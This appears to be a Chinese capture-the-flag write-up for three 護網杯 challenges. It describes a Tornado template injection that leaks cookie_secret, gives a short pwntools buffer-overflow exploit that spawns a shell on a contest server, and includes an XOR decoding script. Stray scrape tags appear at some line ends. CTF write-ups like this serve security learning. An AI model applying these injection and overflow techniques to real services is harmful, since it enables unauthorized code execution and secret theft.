護網杯划水

題目沒有截圖。web

WEB-easy tornado

三個文件,給了3個提示文件。綜合起來看,主要是讀文件,不過須要一個參數signature,根據給出的提示文件的URL,signature就是提示中產生的MD5。因此還須要一個cookie_secret,cookie裏沒有,應該是隱含在服務器裏了。render()提示應該是一個SSTI漏洞。擼了一下flag文件,報錯,URL裏出現了模板符號,印證了想法。而後去翻tornado文檔,主要看模板和配置。文檔說當前的請求內容主要放在handler對象裏,試出來了一個handler.settings暴露參數,cookie_secret。兩個參數:file爲文件名,signature帶上算出轉換後的MD5訪問文件,獲得flag。shell

PWN-gettingstart

用 IDA 打開程序,整個解題思路就已經明擺在面前了,溢出buf達到pwn的目的。
起shell的條件是(v7 == 0x7FFFFFFFFFFFFFFF && v8 == 0.1)服務器

做爲靜態調試工具,IDA能F5插件能解析出來的,都能在程序裏找獲得。v8的十進制值0.1就是qword_c10對應的16進制值。cookie

主要覆蓋的是v8,但波及到了v7,因此v7也要重寫。相差0x18,也就是24。tornado

from pwn import *

p = remote("49.4.78.31", 30482)
p.sendlineafter('you', 'x' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
p.interactive()

MISC-遲來的簽到題

base64解碼後異或工具

import base64

s = base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')

for n in range(127):
    flag=''
    for i in s[:4]:
        flag += ''.join(chr(i ^ n))
    if 'flag' in flag:
        for i in s[4:]:
            flag += ''.join(chr(i ^ n))
        print(n)
        print(flag)
相關文章
相關標籤/搜索